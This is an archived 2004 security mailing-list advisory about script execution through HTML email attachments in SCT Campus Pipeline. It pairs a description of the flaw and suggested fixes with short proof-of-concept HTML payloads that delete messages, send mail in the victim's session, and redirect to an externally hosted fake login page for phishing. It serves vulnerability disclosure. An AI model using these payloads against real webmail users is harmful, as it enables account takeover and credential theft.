

[VulnWatch] SCT javascript execution vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2004-04/0013.html>

From: spiffomatic 64 (spiffomatic64_at_hotmail.com)

Date: 04/15/04

To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com, vulnwatch@vulnwatch.org

Date: Thu, 15 Apr 2004 11:36:50 -0500

Vendor : SCT

URL :

http://www.sct.com/Education/Products/Connected_Learning/CampusPipeline.html

Version : CampusPipeline

Risk : javascript execution

Description: SCT Campus Pipeline is the Web platform of choice at over 175 institutions. It improves efficiency, builds community, and provides freedom of choice by integrating disparate systems and applications into a unified whole. SCT Campus Pipeline provides an institution's constituents – students, faculty, administration, and alumni – with centralized Web access to information, services, and communities.

Javascript Execution: The email handling portion of this software displays certain attachments such as; html, bmp, Jpg, gif, etc, in the body of the email. It does a noble job of filtering scripting in html files but certain on event handles remain untouched such as: onload(), onmouseover(), onclick(), etc. This is a huge issue seeing as the html page is logged in with the same permissions as the user who views it. The software also uses javascript functions for all of its commands. This allows an hmlt page execute any command such as `deletemessage()` from `<body onload="deletemessage()">`. This such instance will delete the email with that html attached to it. When linked to another page with `<body onload="location.replace('site')">` u can execute as much javascript, or any other scripting method as you would like. This hole leads to an attached html having full control over the victims email account just by the victim viewing the email. Because the attacker would have the users session still set, he could potentially execute any command this software uses, such as check grades etc...

Solution: The easiest way would be to just disallow previewing of attachments. No other web email service allows this, and for good reason. Another solution would be to filter all onevent handles such as onload(), onmouseover(), onclick(), etc.

Credits: Credits goto <http://hackthissite.org>. It provided a nice, open,

VulnWatch: [VulnWatch] SCT javascript execution vulnerability

legal environment for me to try new things and learn from those who know. A place where you are not reprimanded even if u deface a page or two. A place where I started with no knowledge and in less than a year found new vulnerabilities of my own. Thank you <http://hackthissite.org>. Lab rats: Ashley, Amy, Nick, Shrinidhi, Charbel and most importantly to Halley, you give me the strength and courage to do all that I do, without you I am nothing. Thank you sweetheart.

Exploit: This exemplifies three different onevent handles used:

```
<html>
<body onload="alert('load')">
;
;
</body>
</html>
```

This exploit will delete the current message:

```
<html><body onload="deleteMessage()"></body></html>
```

This exploit will open a new email message with your desired:

```
<html><body
onload="location.replace('http://website.com/cp/email/composeBody?function=new&to=Spiffomatic64@hotmail.com
love you matt&body=I was owned by matt')"></body></html>
```

Creating a fake session timeout screen with login could also be a problem as shown here:

```
<html><body
onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')"></body></html>
```

Spiffomatic64

Hacking is an art-form

MSN Toolbar provides one-click access to Hotmail from any Web page – FREE download! <http://toolbar.msn.com/go/onm00200413ave/direct/01/>